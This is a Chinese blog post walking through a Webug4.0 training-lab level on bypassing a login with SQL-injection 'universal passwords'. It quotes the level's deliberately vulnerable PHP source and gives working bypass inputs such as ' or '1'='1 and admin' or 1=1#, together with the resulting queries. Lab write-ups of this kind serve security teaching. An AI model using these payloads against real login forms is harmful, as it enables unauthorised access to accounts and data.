当前位置: 首页 > news >正文

Webug4.0靶场通关笔记08- 第11关万能密码登录(SQL注入漏洞)

目录

第13关 万能密码登录

1.打开靶场

2.源码分析

3.渗透方法1

4.渗透方法2


第13关 万能密码登录

本文通过《webug靶场第13关 万能密码登录》来进行渗透实战。

万能密码是利用 SQL 注入漏洞,构造出能够绕过登录验证的特殊密码字符串。通常,登录验证的 SQL 查询语句类似于SELECT * FROM users WHERE username = '$username' AND password = '$password'。攻击者通过输入特殊的密码,如' OR '1'='1',可以使 SQL 语句的条件永远为真,从而绕过验证,以任意用户的身份登录系统。

  • 危害:万能密码的主要危害是导致系统的登录验证机制失效,攻击者可以轻易地获取系统的访问权限,进而进行其他恶意操作,如窃取数据、篡改信息等。

为了防止 SQL 注入和万能密码攻击,开发人员应该对用户输入进行严格的验证和过滤,使用参数化查询或存储过程来避免将用户输入直接嵌入到 SQL 语句中,同时对数据库的权限进行合理的设置,限制用户对敏感数据的访问。

1.打开靶场

进入靶场的第11关,万能密码登录,网址如下所示。

http://192.168.71.1/webug4/control/sqlinject/universal_passwd.php

此时进入了登陆页面,需要输入用户名和密码,如下图所示。 

2.源码分析

对源码进行代码审计,如下为原始代码。

<?php/*** payload 1' or 1=1 #*/
require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}if (isset($_POST["username"]) && isset($_POST['password'])) {if (!empty($_POST['username']) && !empty($_POST['password'])) {$username = $_POST['username'];$password = $_POST['password'];$sql = "SELECT * FROM user WHERE username = '{$username}' AND password = '{$password}'";$res = $dbConnect->query($sql);if (mysqli_num_rows($res) >=1 ){$s = "SELECT * FROM env_list WHERE envName LIKE '%万能密码登陆%'";$r = $dbConnect->query($s);$row = mysqli_fetch_assoc($r);echo "flag:  ".$row['envFlag'];die();}}
}
require_once TPMELATE."/universalpasswd.html";

这段代码实现了一个不安全的登录验证功能,主要逻辑包括:

  • 检查用户会话状态,未登录则跳转到登录页

  • 接收用户提交的username和password参数

  • 直接将用户输入拼接到SQL查询语句中验证凭据

  • 如果查询返回结果,则显示一个包含"万能密码登陆"相关flag的环境变量

经过分析,这段代码有多个安全漏洞,具体说明如下所示:

  • SQL注入漏洞:直接将用户输入拼接到SQL语句中,攻击者可以构造恶意输入如admin' -- 来绕过认证

  • 密码明文存储:代码显示密码是明文存储和比较的,不符合安全规范

  • 敏感信息暴露:直接输出flag等敏感信息

  • 缺乏错误处理:没有对数据库操作失败的情况进行处理

本关卡如果实现万能登陆,需要利用SQL注入漏洞,接下来对数据库相关代码进行注释解释。

// 检查是否提交了username和password参数
if (isset($_POST["username"]) && isset($_POST['password'])) {// 确认参数值不为空if (!empty($_POST['username']) && !empty($_POST['password'])) {// 获取用户输入的用户名和密码(未做任何过滤处理)$username = $_POST['username'];$password = $_POST['password'];// 危险操作:直接将用户输入拼接到SQL语句中(存在SQL注入漏洞)$sql = "SELECT * FROM user WHERE username = '{$username}' AND password = '{$password}'";// 执行SQL查询$res = $dbConnect->query($sql);// 检查是否查询到结果(只要匹配到1条及以上记录就通过验证)if (mysqli_num_rows($res) >=1 ){// 查询环境变量表中包含"万能密码登陆"的记录$s = "SELECT * FROM env_list WHERE envName LIKE '%万能密码登陆%'";$r = $dbConnect->query($s);// 获取查询结果$row = mysqli_fetch_assoc($r);// 直接输出flag(存在信息泄露风险)echo "flag:  ".$row['envFlag'];// 终止脚本执行die();}}
}

最关键的SQL源码如下所示,参数使用单引号闭合。

SELECT * FROM user WHERE username = '{$username}' AND password = '{$password}'

该代码存在严重的SQL注入漏洞,因为:

  1. 未过滤用户输入:直接将POST['username']和P​OST['username']和_POST['password']拼接到SQL语句中

  2. 未使用预处理语句:采用危险的字符串拼接方式构造SQL查询

  3. 错误信息暴露:认证失败时会暴露原始SQL语句结构

攻击者可以利用万能密码绕过登录验证:

username: 1' or 1=1 #
password: [任意值]

这会使SQL语句变为:

SELECT * FROM user WHERE username = '1' or 1=1 #' AND password = '[任意值]'

 其中#注释掉后续条件,or 1=1使查询总是返回真,从而绕过身份验证直接获取flag。

3.渗透方法1

 可以通过构造如下注入命令。

用户名 admin
密码   ' or '1'='1

传入参数后SQL语句如下所示。

SELECT * FROM user WHERE username = 'admin' AND password = '' or '1'='1'

此时相当于如下命令,可以绕过登陆限制直接形成注入命令。

 SELECT * FROM user WHERE username = 'admin'

根据分析,用户名和密码输入如下内容。

admin
' or '1'='1

登录成功后显示flag,渗透成功。

4.渗透方法2

由于SQL语句中的#和-- 是代表注释符, 可以通过构造如下注入命令,用户名输入万能注入语句' or 1=1#或者' or 1=1--  (注意--后面加上空格),密码随便输入。

用户名 admin' or 1=1#
密码   ljn
或者
用户名 admin' or 1=1-- 
密码   ljn

传入参数后SQL语句变为如下所示。

SELECT * FROM user WHERE username = 'admin'or 1=1# AND password = 'ljn'
SELECT * FROM user WHERE username = 'admin'or 1=1--  AND password = 'ljn'

此时相当于如下命令,可以绕过登陆限制直接形成注入命令

 SELECT * FROM user WHERE username = 'admin'

根据分析,用户名和密码输入如下内容。

admin' or 1=1#
ljn

或者如下内容。

admin' or 1=1-- 
ljn

 登录成功后显示flag,渗透成功。

相关文章:

  • 数字智慧方案5968丨智慧农业产销一体化云平台建设方案(72页PPT)(文末有下载方式)
  • 【Docker】Dockerfile 使用
  • python如何把pdf转word
  • 高等数学-第七版-下册 选做记录 习题9-7
  • C++11新特性_自动类型推导_auto
  • 【RocketMQ】- 源码系列目录
  • 神经网络—损失函数
  • Windows服务器提权实战:常见方法、场景与防御指南
  • 2025五一杯C题五一杯数学建模思路代码文章教学:社交媒体平台用户分析问题
  • 【精选】基于数据挖掘的广州招聘可视化分析系统(大数据组件+Spark+Hive+MySQL+AI智能云+DeepSeek人工智能+深度学习之LSTM算法)
  • 【playwright】内网离线部署playwright
  • UE实用地编插件Physical Layout Tool
  • 深度学习-神经网络参数优化的约束与迭代策略
  • PCIe 中的 ARI 介绍
  • 2025五一数学建模ABC题选题建议,思路模型分析
  • 彩带飘落效果
  • stm32基础001(串口)
  • 基于大模型预测的输尿管癌诊疗全流程研究报告
  • 基于数字图像处理的裂缝检测与识别系统(Matlab)
  • Meta公司于2025年4月29日正式推出了全新Meta AI应用程序的首个版本
  • “五一”假期首日:国铁南宁局发送旅客81.7万人次
  • 长三角议事厅| AI作曲时代:长三角如何奏响数字音乐乐章
  • 全国台联原会长杨国庆逝世,享年89岁
  • 市场监管总局出手整治涉企乱收费,聚焦政府部门及下属单位等领域
  • 招商蛇口:一季度营收约204亿元,净利润约4.45亿元
  • 媒体:黑话烂梗包围小学生,“有话好好说”很难吗?